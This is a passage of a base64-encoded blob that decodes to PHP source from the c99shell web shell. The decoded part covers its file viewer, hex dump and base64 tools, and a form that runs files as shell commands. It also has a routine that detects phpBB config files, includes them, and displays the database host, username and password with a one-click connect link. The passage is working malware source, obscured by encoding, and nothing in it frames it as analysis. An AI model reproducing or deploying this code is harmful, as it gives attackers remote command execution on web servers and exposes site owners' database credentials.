MFwiPiIsDQogICAgICAgICAgICAgICAgICAgICJpbWciDQogICAgICAgICAgICAgICAgKSAsDQog
ICAgICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICI8aW1nIHNyYz1cIiIg
LiAkc3VybCAuICJhY3Q9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAg
ICAgICAgICAgICAgICJpbmkiDQogICAgICAgICAgICAgICAgKSAsDQogICAgICAgICAgICAgICAg
YXJyYXkoDQogICAgICAgICAgICAgICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9
aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAgICAgICAgICAgICAgICAi
ZG93bmxvYWQiDQogICAgICAgICAgICAgICAgKSAsDQogICAgICAgICAgICAgICAgYXJyYXkoDQog
ICAgICAgICAgICAgICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1l
eHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAgICAgICAgICAgICAgICJub3RlcGFkIg0K
ICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAg
ICAgICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9Y2hhbmdlXCIgYm9y
ZGVyPVwiMFwiPiIsDQogICAgICAgICAgICAgICAgICAgICJlZGl0Ig0KICAgICAgICAgICAgICAg
ICkNCiAgICAgICAgICAgICk7DQogICAgICAgICAgICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5i
c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9
ZXh0XyIgLiAkZXh0IC4gIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiIC4gJGYgLiAiICgiIC4gdmll
d19zaXplKGZpbGVzaXplKCRkIC4gJGYpKSAuICIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyIgLiB2aWV3X3Blcm1zX2NvbG9yKCRkIC4gJGYpIC4gIjwvYj48YnI+U2VsZWN0IGFjdGlv
bi9maWxlLXR5cGU6PGJyPiI7DQogICAgICAgICAgICBmb3JlYWNoICgkYXJyIGFzICR0KQ0KICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkdFsxXSA9PSAkcmZ0KQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9XCIiIC4gJHN1cmwg
LiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9IiAuICR0WzFdIC4gIiZkPSIgLiB1
cmxlbmNvZGUoJGQpIC4gIlwiPjxmb250IGNvbG9yPWdyZWVuPiIgLiAkdFswXSAuICI8L2ZvbnQ+
PC9hPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRbMV0g
PT0gJGZ0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxh
IGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9IiAu
ICR0WzFdIC4gIiZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIlwiPjxiPjx1PiIgLiAkdFswXSAuICI8
L3U+PC9iPjwvYT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj1cIiIg
LiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD0iIC4gJHRbMV0gLiAi
JmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+PGI+IiAuICR0WzBdIC4gIjwvYj48L2E+IjsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiICg8YSBocmVmPVwiIiAuICRz
dXJsIC4gImFjdD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PSIgLiAkdFsxXSAuICImd2hp
dGU9MSZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIlwiIHRhcmdldD1cIl9ibGFua1wiPis8L2E+KSB8
IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hh
ZGU+IjsNCiAgICAgICAgICAgIGlmICgkZnQgPT0gImluZm8iKQ0KICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2Vs
bHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIiAu
ICRkIC4gJGYgLiAiPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIiAuIHZp
ZXdfc2l6ZShmaWxlc2l6ZSgkZCAuICRmKSkgLiAiPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9i
PjwvdGQ+PHRkPiAiIC4gbWQ1X2ZpbGUoJGQgLiAkZikgLiAiPC90ZD48L3RyPiI7DQogICAgICAg
ICAgICAgICAgaWYgKCEkd2luKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICAgICAg
ICAgICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkIC4gJGYpKTsNCiAg
ICAgICAgICAgICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkIC4gJGYp
KTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAoJG93WyJuYW1lIl0gPyAkb3dbIm5hbWUiXSA6
IGZpbGVvd25lcigkZCAuICRmKSkgLiAiLyIgLiAoJGdyWyJuYW1lIl0gPyAkZ3JbIm5hbWUiXSA6
IGZpbGVncm91cCgkZCAuICRmKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIgLiAkc3VybCAu
ICJhY3Q9Y2htb2QmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZD0iIC4gdXJsZW5jb2RlKCRkKSAu
ICJcIj4iIC4gdmlld19wZXJtc19jb2xvcigkZCAuICRmKSAuICI8L2E+PC90ZD48L3RyPjx0cj48
dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIgLiBkYXRlKCJkL20vWSBIOmk6cyIsIGZp
bGVjdGltZSgkZCAuICRmKSkgLiAiPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+
PC90ZD48dGQ+ICIgLiBkYXRlKCJkL20vWSBIOmk6cyIsIGZpbGVhdGltZSgkZCAuICRmKSkgLiAi
PC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIgLiBkYXRlKCJk
L20vWSBIOmk6cyIsIGZpbGVtdGltZSgkZCAuICRmKSkgLiAiPC90ZD48L3RyPjwvdGFibGU+PGJy
PiI7DQogICAgICAgICAgICAgICAgJGZpID0gZm9wZW4oJGQgLiAkZiwgInJiIik7DQogICAgICAg
ICAgICAgICAgaWYgKCRmaSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
IGlmICgkZnVsbGhleGR1bXApDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgJHN0ciA9IGZyZWFkKCRmaSwgZmlsZXNpemUoJGQgLiAkZikpOw0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyID0gZnJlYWQoJGZpLCAkaGV4ZHVtcF9saW5l
cyAqICRoZXhkdW1wX3Jvd3MpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7
DQogICAgICAgICAgICAgICAgICAgICRhMSA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAkYTIg
PSAiIjsNCiAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCBzdHJsZW4oJHN0cik7
JGkrKykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGEx
IC49IHNwcmludGYoIiUwMlgiLCBvcmQoJHN0clskaV0pKSAuICIgIjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkNCiAgICAgICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDA6DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICRhMiAuPSAiPGZvbnQ+MDwvZm9udD4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMzI6
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDoNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBjYXNlIDEzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYTIg
Lj0gIiZuYnNwOyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0clskaV0pOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dzKQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBpZiAoJGkgKyAxIDwgc3RybGVuKCRzdHIpKQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGEwIC49IHNw
cmludGYoIiUwOFgiLCAkaSArIDEpIC4gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYTEgLj0gIjxicj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAi
PHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5n
PTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+IiAuICRhMCAuICI8L3RkPjx0ZCBiZ2NvbG9yPTAw
MDAwMD4iIC4gJGExIC4gIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIgLiAkYTIgLiAiPC90ZD48
L3RyPjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRl
bmNvZGVkID0gIiI7DQogICAgICAgICAgICAgICAgaWYgKCRiYXNlNjQgPT0gMSkNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+
PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxl
X2dldF9jb250ZW50cygkZCAuICRmKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIGVsc2VpZiAoJGJhc2U2NCA9PSAyKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOw0KICAgICAg
ICAgICAgICAgICAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9n
ZXRfY29udGVudHMoJGQgLiAkZikpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgZWxzZWlmICgkYmFzZTY0ID09IDMpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7
DQogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9j
b250ZW50cygkZCAuICRmKSk7DQogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3Vic3Ry
KHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwgIidcXDAnLlxuIiwgJGVuY29kZWQpICwgMCwgLTIp
Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlaWYgKCRiYXNlNjQgPT0g
NCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0ZXh0ID0gZmlsZV9n
ZXRfY29udGVudHMoJGQgLiAkZik7DQogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFz
ZTY0X2RlY29kZSgkdGV4dCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPkJhc2U2NCBE
ZWNvZGUiOw0KICAgICAgICAgICAgICAgICAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkg
IT0gJHRleHQpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
IGVjaG8gIiAoZmFpbGVkKSI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgZWNobyAiPC9iPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+IiAuIGh0bWxzcGVjaWFsY2hh
cnMoJGVuY29kZWQpIC4gIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICBlY2hvICI8Yj5IRVhEVU1QOjwvYj48bm9icj4gWzxhIGhyZWY9XCIi
IC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9aW5mbyZmdWxsaGV4
ZHVtcD0xJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+RnVsbDwvYT5dIFs8YSBocmVmPVwiIiAu
ICRzdXJsIC4gImFjdD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PWluZm8mZD0iIC4gdXJs
ZW5jb2RlKCRkKSAuICJcIj5QcmV2aWV3PC9hPl08YnI+PGI+QmFzZTY0OiA8L2I+DQo8bm9icj5b
PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1p
bmZvJmJhc2U2ND0xJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+RW5jb2RlPC9hPl0mbmJzcDs8
L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNv
ZGUoJGYpIC4gIiZmdD1pbmZvJmJhc2U2ND0yJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+K2No
dW5rPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9
ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1pbmZvJmJhc2U2ND0zJmQ9IiAuIHVybGVuY29k
ZSgkZCkgLiAiXCI+K2NodW5rK3F1b3RlczwvYT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhy
ZWY9XCIiIC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9aW5mbyZi
YXNlNjQ9NCZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIlwiPkRlY29kZTwvYT5dJm5ic3A7PC9ub2Jy
Pg0KPFA+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGZ0ID09ICJodG1s
IikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoJHdoaXRlKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gJHI7DQogICAgICAgICAgICAgICAgaWYgKCR3aGl0
ZSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGM5OXNoZXhpdCgpOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGZ0
ID09ICJ0eHQiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxwcmU+IiAu
IGh0bWxzcGVjaWFsY2hhcnMoJHIpIC4gIjwvcHJlPiI7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBlbHNlaWYgKCRmdCA9PSAiaW5pIikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAgICAgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUo
JGQgLiAkZiwgdHJ1ZSkpOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvcHJlPiI7DQogICAgICAg
ICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICR2ID0g
ZXhwbG9kZSgifCIsICRyKTsNCiAgICAgICAgICAgICAgICBlY2hvICR2WzBdIC4gIjxicj4iOw0K
ICAgICAgICAgICAgICAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICAgICAgICAg
ICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAo
JGZ0ID09ICJleGUiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRleHQgPSBleHBs
b2RlKCIuIiwgJGYpOw0KICAgICAgICAgICAgICAgICRjID0gY291bnQoJGV4dCkgLSAxOw0KICAg
ICAgICAgICAgICAgICRleHQgPSAkZXh0WyRjXTsNCiAgICAgICAgICAgICAgICAkZXh0ID0gc3Ry
dG9sb3dlcigkZXh0KTsNCiAgICAgICAgICAgICAgICAkcmZ0ID0gIiI7DQogICAgICAgICAgICAg
ICAgZm9yZWFjaCAoJGV4ZWZ0eXBlcyBhcyAkayA9PiAkdikNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCAkdikpDQogICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZnQgPSAkazsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICRjbWQgPSBzdHJfcmVwbGFjZSgiJWYlIiwgJGYsICRyZnQp
Ow0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkV4ZWN1dGUgZmlsZTo8L2I+PGZvcm0gYWN0aW9u
PVwiIiAuICRzdXJsIC4gIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFj
dCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIiAu
IGh0bWxzcGVjaWFsY2hhcnMoJGNtZCkgLiAiXCIgc2l6ZT1cIiIgLiAoc3RybGVuKCRjbWQpICsg
MikgLiAiXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwi
IG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1cImRcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRkKSAuICJcIj48YnI+PGlu
cHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOw0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZnQgPT0gInNkYiIpDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgIHZh
cl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7DQogICAgICAgICAgICAgICAg
ZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGZ0ID09
ICJjb2RlIikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgi
cGhwIiAuICJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCAkcikpDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCAk
cik7DQogICAgICAgICAgICAgICAgICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSAoJGQgLiAkZik7
DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlz
IGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlm
ICgkZGJtcyA9PSAibXlzcWw0IikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAkZGJtcyA9ICJteXNxbCI7DQogICAgICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikNCiAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1zcWwmc3FsX3NlcnZlcj0iIC4gaHRtbHNwZWNp
YWxjaGFycygkZGJob3N0KSAuICImc3FsX2xvZ2luPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYnVz
ZXIpIC4gIiZzcWxfcGFzc3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkgLiAiJnNx
bF9wb3J0PTMzMDYmc3FsX2RiPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpIC4gIlwiPjxi
Pjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQnV0LCB5b3UgY2Fu
J3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIgLiAk
ZGJtcyAuICJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IGM5OXNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1
cyBmb3IgZml4LiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICRjZmd2YXJzID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgImRibXMiID0+ICRkYm1zLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJk
Ymhvc3QiID0+ICRkYmhvc3QsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRibmFtZSIg
PT4gJGRibmFtZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGJ1c2VyIiA9PiAkZGJ1
c2VyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkYnBhc3N3ZCIgPT4gJGRicGFzc3dk
DQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9y
ZWFjaCAoJGNmZ3ZhcnMgYXMgJGsgPT4gJHYpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKSAuICI9
JyIgLiBodG1sc3BlY2lhbGNoYXJzKCR2KSAuICInPGJyPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIg
bm9zaGFkZT4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZG
RjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFy
Z2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIgLiAk
aGlnaGxpZ2h0X2JhY2tncm91bmQgLiAiO1wiPiI7DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0
eSgkd2hpdGUpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQG9iX2Ns
ZWFuKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGhpZ2hsaWdodF9maWxl
KCRkIC4gJGYpOw0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHdoaXRlKSkNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGM5OXNoZXhpdCgpOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQt
dHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICAgICAgICAgICAgaGVhZGVy
KCJDb250ZW50LWxlbmd0aDogIiAuIGZpbGVzaXplKCRkIC4gJGYpKTsNCiAgICAgICAgICAgICAg
ICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIiAu
ICRmIC4gIlwiOyIpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHI7DQogICAgICAgICAgICAgICAg
ZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFk
IikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAg
ICAgICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAg
